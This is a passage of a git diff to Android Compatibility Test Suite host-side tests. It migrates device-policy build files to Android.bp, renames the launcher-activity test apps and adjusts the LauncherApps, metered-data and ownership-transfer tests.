diff --git a/hostsidetests/deviceidle/AndroidTest.xml b/hostsidetests/deviceidle/AndroidTest.xml
index 16f631a..c7c2f51 100644
--- a/hostsidetests/deviceidle/AndroidTest.xml
+++ b/hostsidetests/deviceidle/AndroidTest.xml
@@ -19,6 +19,7 @@
     <!-- These are tests for the shell command to manage device idle whitelist. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsDeviceIdleHostTestCases.jar" />
         <option name="runtime-hint" value="1m" />
diff --git a/hostsidetests/devicepolicy/Android.bp b/hostsidetests/devicepolicy/Android.bp
new file mode 100644
index 0000000..4eef832
--- /dev/null
+++ b/hostsidetests/devicepolicy/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsDevicePolicyManagerTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "tools-common-prebuilt",
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+        "guava",
+        "truth-prebuilt",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "general-tests",
+        "vts",
+    ],
+    java_resource_dirs: ["res"],
+    data: [":current-api-xml"],
+}
diff --git a/hostsidetests/devicepolicy/Android.mk b/hostsidetests/devicepolicy/Android.mk
deleted file mode 100644
index e9da9ec..0000000
--- a/hostsidetests/devicepolicy/Android.mk
+++ /dev/null
@@ -1,63 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-# $(1) name of the xml file to be created
-# $(2) path to the api text file
-define build_xml_api_file
-include $(CLEAR_VARS)
-LOCAL_MODULE := cts-$(subst .,-,$(1))
-LOCAL_MODULE_STEM := $(1)
-LOCAL_MODULE_CLASS := ETC
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-include $(BUILD_SYSTEM)/base_rules.mk
-$$(LOCAL_BUILT_MODULE): $(2) | $(APICHECK)
-	@echo "Convert API file $$< -> $$@"
-	@mkdir -p $$(dir $$@)
-	$(hide) $(APICHECK_COMMAND) -convert2xmlnostrip $$< $$@
-endef
-
-$(eval $(call build_xml_api_file,current.api,frameworks/base/api/current.txt))
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsDevicePolicyManagerTestCases
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_RESOURCE_DIRS := res
-
-LOCAL_JAVA_LIBRARIES := \
-    tools-common-prebuilt \
-    cts-tradefed \
-    tradefed \
-    compatibility-host-util \
-    guava \
-    truth-prebuilt
-
-LOCAL_CTS_TEST_PACKAGE := android.adminhostside
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts arcts vts general-tests
-
-# Need the dependency to build/run the module solely by atest.
-LOCAL_TARGET_REQUIRED_MODULES := cts-current-api
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/devicepolicy/app/Android.mk b/hostsidetests/devicepolicy/app/Android.mk
deleted file mode 100644
index d44e88e..0000000
--- a/hostsidetests/devicepolicy/app/Android.mk
+++ /dev/null
@@ -1,20 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
new file mode 100644
index 0000000..2422d71
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsDevicePolicyContentSuggestionsApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "system_current",
+}
diff --git a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.mk b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.mk
deleted file mode 100644
index 90f56d6..0000000
--- a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsDevicePolicyContentSuggestionsApp
-
-LOCAL_SDK_VERSION := system_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/Android.bp b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
similarity index 90%
rename from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/Android.bp
rename to hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
index 1856ed0..f2c0649 100644
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
@@ -13,7 +13,7 @@
 // limitations under the License.
 
 android_test_helper_app {
-    name: "CtsNoLaunchableActivityApp",
+    name: "CtsHasLauncherActivityApp",
     // Don't include this package in any target
     // When built, explicitly put it in the data partition.
     dex_preopt: {
@@ -32,9 +32,9 @@
     sdk_version: "current",
 }
 
-// Build for no component app
+// Build for no launcher activity app
 android_test_helper_app {
-    name: "CtsNoComponentApp",
+    name: "CtsNoLauncherActivityApp",
     dex_preopt: {
         enabled: false,
     },
@@ -48,7 +48,7 @@
         "vts",
         "general-tests",
     ],
-    manifest: "no_component_AndroidManifest.xml",
+    manifest: "no_launcher_activity_AndroidManifest.xml",
     sdk_version: "current",
 }
 
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/AndroidManifest.xml
similarity index 69%
copy from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml
copy to hostsidetests/devicepolicy/app/HasLauncherActivityApp/AndroidManifest.xml
index 59f3767..760b31f 100755
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/AndroidManifest.xml
@@ -16,9 +16,15 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.nolaunchableactivityapp">
+    package="com.android.cts.haslauncheractivityapp">
     <uses-permission android:name="android.permission.INTERNET" />
-    <application>
+    <application android:testOnly="true">
+        <activity android:name="com.android.cts.haslauncheractivityapp.MainActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
         <service android:name=".EmptyService" android:enabled="true"></service>
     </application>
 
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
similarity index 71%
rename from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml
rename to hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
index 59f3767..ae2249a 100755
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -16,9 +16,14 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.nolaunchableactivityapp">
+    package="com.android.cts.nolauncheractivityapp">
     <uses-permission android:name="android.permission.INTERNET" />
     <application>
+        <activity android:name="com.android.cts.haslauncheractivityapp.MainActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.VIEW" />
+            </intent-filter>
+        </activity>
         <service android:name=".EmptyService" android:enabled="true"></service>
     </application>
 
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_permission_AndroidManifest.xml b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_permission_AndroidManifest.xml
similarity index 100%
rename from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_permission_AndroidManifest.xml
rename to hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_permission_AndroidManifest.xml
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/src/com/android/cts/nolaunchableactivityapp/EmptyService.java b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/src/com/android/cts/haslauncheractivityapp/EmptyService.java
similarity index 94%
rename from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/src/com/android/cts/nolaunchableactivityapp/EmptyService.java
rename to hostsidetests/devicepolicy/app/HasLauncherActivityApp/src/com/android/cts/haslauncheractivityapp/EmptyService.java
index 6cd0da6..80f9ee5 100644
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/src/com/android/cts/nolaunchableactivityapp/EmptyService.java
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/src/com/android/cts/haslauncheractivityapp/EmptyService.java
@@ -13,7 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
-package com.android.cts.nolaunchableactivityapp;
+package com.android.cts.haslaunchableactivityapp;
 
 import android.app.Service;
 import android.content.Intent;
diff --git a/libs/rollback/testapp/src/com/android/cts/rollback/lib/testapp/MainActivity.java b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/src/com/android/cts/haslauncheractivityapp/MainActivity.java
similarity index 86%
rename from libs/rollback/testapp/src/com/android/cts/rollback/lib/testapp/MainActivity.java
rename to hostsidetests/devicepolicy/app/HasLauncherActivityApp/src/com/android/cts/haslauncheractivityapp/MainActivity.java
index e426382..1f2b2cb 100644
--- a/libs/rollback/testapp/src/com/android/cts/rollback/lib/testapp/MainActivity.java
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/src/com/android/cts/haslauncheractivityapp/MainActivity.java
@@ -13,13 +13,10 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
-
-package com.android.cts.rollback.lib.testapp;
+package com.android.cts.haslaunchableactivityapp;
 
 import android.app.Activity;
 
-/**
- * A test app for testing apk rollback support.
- */
 public class MainActivity extends Activity {
 }
+
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.bp b/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
new file mode 100644
index 0000000..5b9dd20
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsLauncherAppsTests",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "junit",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "androidx.legacy_legacy-support-v4",
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ShortcutManagerTestUtils",
+        "testng",
+    ],
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
deleted file mode 100644
index fc424be..0000000
--- a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLauncherAppsTests
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := junit android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES = \
-	androidx.legacy_legacy-support-v4 \
-	ctstestrunner-axt \
-	androidx.test.rules \
-	compatibility-device-util-axt \
-	ShortcutManagerTestUtils \
-	testng
-
-LOCAL_SDK_VERSION := system_current
-LOCAL_MIN_SDK_VERSION := 21
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
index 45032a4..cade532 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
+++ b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
@@ -42,7 +42,9 @@
 import android.test.AndroidTestCase;
 
 import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.SystemUtil;
 
+import java.io.IOException;
 import java.util.List;
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
@@ -53,12 +55,14 @@
 public class LauncherAppsTests extends AndroidTestCase {
 
     public static final String SIMPLE_APP_PACKAGE = "com.android.cts.launcherapps.simpleapp";
-    private static final String NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE =
-            "com.android.cts.nolaunchableactivityapp";
-    private static final String NO_COMPONENT_APP_PACKAGE =
-            "com.android.cts.nocomponentapp";
+    private static final String HAS_LAUNCHER_ACTIVITY_APP_PACKAGE =
+            "com.android.cts.haslauncheractivityapp";
+    private static final String NO_LAUNCHER_ACTIVITY_APP_PACKAGE =
+            "com.android.cts.nolauncheractivityapp";
     private static final String NO_PERMISSION_APP_PACKAGE =
             "com.android.cts.nopermissionapp";
+    private static final String LAUNCHER_ACTIVITY_COMPONENT =
+            "com.android.cts.haslauncheractivityapp/.MainActivity";
 
     private static final String SYNTHETIC_APP_DETAILS_ACTIVITY = "android.app.AppDetailsActivity";
 
@@ -216,15 +220,17 @@
         assertFalse(mLauncherApps.isPackageEnabled("android", mUser));
     }
 
-    public void testNoLaunchableActivityAppHasAppDetailsActivityInjected() throws Exception {
-        // NoLaunchableActivityApp is installed for duration of this test - make sure
+    public void testHasLauncherActivityAppHasAppDetailsActivityInjected() throws Exception {
+        // HasLauncherActivityApp is installed for duration of this test - make sure
         // it's present on the activity list, has the synthetic activity generated, and it's
         // enabled and exported
-        assertActivityInjected(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE);
+        disableLauncherActivity();
+        assertActivityInjected(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE);
     }
 
     public void testGetSetSyntheticAppDetailsActivityEnabled() throws Exception {
-        assertActivityInjected(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE);
+        disableLauncherActivity();
+        assertActivityInjected(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE);
         PackageManager pm = mInstrumentation.getContext().getPackageManager();
         try {
             pm.setSyntheticAppDetailsActivityEnabled(mContext.getPackageName(), false);
@@ -233,7 +239,7 @@
             // Expected: No permission
         }
         try {
-            pm.setSyntheticAppDetailsActivityEnabled(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE, false);
+            pm.setSyntheticAppDetailsActivityEnabled(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE, false);
             fail("Should not able to change other app's app details activity state");
         } catch (SecurityException e) {
             // Expected: No permission
@@ -241,17 +247,17 @@
         mInstrumentation.getUiAutomation().adoptShellPermissionIdentity();
         try {
             assertTrue(
-                    pm.getSyntheticAppDetailsActivityEnabled(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE));
+                    pm.getSyntheticAppDetailsActivityEnabled(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE));
             // Disable app details activity and assert if the change is applied
-            pm.setSyntheticAppDetailsActivityEnabled(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE, false);
+            pm.setSyntheticAppDetailsActivityEnabled(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE, false);
             assertFalse(
-                    pm.getSyntheticAppDetailsActivityEnabled(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE));
-            assertInjectedActivityNotFound(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE);
+                    pm.getSyntheticAppDetailsActivityEnabled(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE));
+            assertInjectedActivityNotFound(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE);
             // Enable app details activity and assert if the change is applied
-            pm.setSyntheticAppDetailsActivityEnabled(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE, true);
+            pm.setSyntheticAppDetailsActivityEnabled(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE, true);
             assertTrue(
-                    pm.getSyntheticAppDetailsActivityEnabled(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE));
-            assertActivityInjected(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE);
+                    pm.getSyntheticAppDetailsActivityEnabled(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE));
+            assertActivityInjected(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE);
         } finally {
             mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
         }
@@ -262,10 +268,10 @@
         assertActivityInjected(MANAGED_PROFILE_PKG);
     }
 
-    public void testNoComponentAppNotInjected() throws Exception {
-        // NoComponentApp is installed for duration of this test - make sure
+    public void testNoLauncherActivityAppNotInjected() throws Exception {
+        // NoLauncherActivityApp is installed for duration of this test - make sure
         // it's NOT present on the activity list
-        assertInjectedActivityNotFound(NO_COMPONENT_APP_PACKAGE);
+        assertInjectedActivityNotFound(NO_LAUNCHER_ACTIVITY_APP_PACKAGE);
     }
 
     public void testNoPermissionAppNotInjected() throws Exception {
@@ -275,10 +281,11 @@
     }
 
     public void testDoPoNoTestAppInjectedActivityFound() throws Exception {
-        // NoLaunchableActivityApp is installed for duration of this test - make sure
+        // HasLauncherActivityApp is installed for duration of this test - make sure
         // it's NOT present on the activity list For example, DO / PO mode won't show icons.
         // This test is being called by DeviceOwnerTest.
-        assertInjectedActivityNotFound(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE);
+        disableLauncherActivity();
+        assertInjectedActivityNotFound(HAS_LAUNCHER_ACTIVITY_APP_PACKAGE);
     }
 
     public void testProfileOwnerInjectedActivityNotFound() throws Exception {
@@ -305,6 +312,11 @@
         }
     }
 
+    private void disableLauncherActivity() throws IOException {
+        SystemUtil.runShellCommand(mInstrumentation,
+                "pm disable --user " + mUser.getIdentifier() + " " + LAUNCHER_ACTIVITY_COMPONENT);
+    }
+
     private void expectSecurityException(ExceptionRunnable action, String failMessage)
             throws Exception {
         try {
@@ -336,7 +348,7 @@
             if (compName.getPackageName().equals(targetPackage)) {
                 noLaunchableActivityAppFound = true;
                 // make sure it points to the synthetic app details activity
-                assertEquals(activity.getName(), SYNTHETIC_APP_DETAILS_ACTIVITY);
+                assertEquals(SYNTHETIC_APP_DETAILS_ACTIVITY, activity.getName());
                 // make sure it's both exported and enabled
                 try {
                     PackageManager pm = mInstrumentation.getContext().getPackageManager();
diff --git a/hostsidetests/devicepolicy/app/MeteredDataTestApp/src/com/android/cts/devicepolicy/metereddatatestapp/MainActivity.java b/hostsidetests/devicepolicy/app/MeteredDataTestApp/src/com/android/cts/devicepolicy/metereddatatestapp/MainActivity.java
old mode 100644
new mode 100755
index 09282b3..e674008
--- a/hostsidetests/devicepolicy/app/MeteredDataTestApp/src/com/android/cts/devicepolicy/metereddatatestapp/MainActivity.java
+++ b/hostsidetests/devicepolicy/app/MeteredDataTestApp/src/com/android/cts/devicepolicy/metereddatatestapp/MainActivity.java
@@ -31,6 +31,7 @@
 
     private static final String EXTRA_MESSENGER = "messenger";
     private static final int MSG_NOTIFY_NETWORK_STATE = 1;
+    private static final int WAIT_TO_ALLOW_CONNECTING_MS = 2000;
 
     @Override
     public void onCreate(Bundle icicle) {
@@ -60,6 +61,15 @@
     private NetworkInfo getActiveNetworkInfo() {
         final ConnectivityManager cm = (ConnectivityManager) getSystemService(
                 Context.CONNECTIVITY_SERVICE);
+        waitToAllowConnecting();
         return cm.getActiveNetworkInfo();
     }
+
+    private void waitToAllowConnecting() {
+        try {
+            Thread.sleep(WAIT_TO_ALLOW_CONNECTING_MS);
+        } catch (InterruptedException e) {
+            throw new IllegalStateException(e);
+        }
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferIncomingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferIncomingTest.java
index b30e8d6..2d839c0 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferIncomingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/DeviceAndProfileOwnerTransferIncomingTest.java
@@ -51,12 +51,6 @@
 
     public static class BasicAdminService extends Service {
         @Override
-        public void onCreate() {
-            super.onCreate();
-            putBooleanPref(getApplicationContext(), KEY_TRANSFER_ADMIN_SERVICE_BOUND, true);
-        }
-
-        @Override
         public IBinder onBind(Intent intent) {
             return null;
         }
@@ -68,8 +62,6 @@
 
     private final static String SHARED_PREFERENCE_NAME = "shared-preference-name";
     private final static String KEY_TRANSFER_COMPLETED_CALLED = "key-transfer-completed-called";
-    private final static String KEY_TRANSFER_ADMIN_SERVICE_BOUND =
-        "key-transfer-admin-service-bound";
     private final static String ARE_PARAMETERS_SAVED = "ARE_PARAMETERS_SAVED";
 
     protected Context mContext;
@@ -120,11 +112,6 @@
         assertTrue(bundle.isEmpty());
     }
 
-    @Test
-    public void testAdminServiceIsBound() {
-        assertTrue(getBooleanPref(mContext, KEY_TRANSFER_ADMIN_SERVICE_BOUND));
-    }
-
     private static SharedPreferences getPrefs(Context context) {
         return context.getSharedPreferences(SHARED_PREFERENCE_NAME, Context.MODE_PRIVATE);
     }
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
index f39dbbe..65c952f 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
@@ -38,7 +38,7 @@
         assertEquals(Collections.singletonList("test.package"),
                 mDevicePolicyManager.getKeepUninstalledPackages(mIncomingComponentName));
         assertEquals(123, mDevicePolicyManager.getPasswordMinimumLength(mIncomingComponentName));
-        assertSystemPoliciesEqual(SystemUpdatePolicy.createWindowedInstallPolicy(123, 456),
+        assertSystemPoliciesEqual(SystemUpdatePolicy.createPostponeInstallPolicy(),
                 mDevicePolicyManager.getSystemUpdatePolicy());
         assertThrows(SecurityException.class, () -> {
             mDevicePolicyManager.getParentProfileInstance(mIncomingComponentName);
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
index b42b2bd..ce8736f 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
@@ -47,7 +47,7 @@
         mDevicePolicyManager.setKeepUninstalledPackages(mOutgoingComponentName,
                 Collections.singletonList("test.package"));
         mDevicePolicyManager.setSystemUpdatePolicy(mOutgoingComponentName,
-                SystemUpdatePolicy.createWindowedInstallPolicy(123, 456));
+                SystemUpdatePolicy.createPostponeInstallPolicy());
 
         PersistableBundle b = new PersistableBundle();
         mDevicePolicyManager.transferOwnership(mOutgoingComponentName, INCOMING_COMPONENT_NAME, b);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java
index 218d6b7..6e9ed7e 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java
@@ -30,10 +30,10 @@
 
     @Override
     protected void setUp() throws Exception {
-        super.setUp();
         if (!mHasFeature) {
             return;
         }
+        super.setUp();
         installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 17bbf06..e374136 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -95,6 +95,11 @@
      */
     private static final long USER_REMOVE_WAIT = TimeUnit.SECONDS.toMillis(5);
 
+    /**
+     * The amount of milliseconds to wait for the switch user calls in {@link #tearDown}.
+     */
+    private static final long USER_SWITCH_WAIT = TimeUnit.SECONDS.toMillis(5);
+
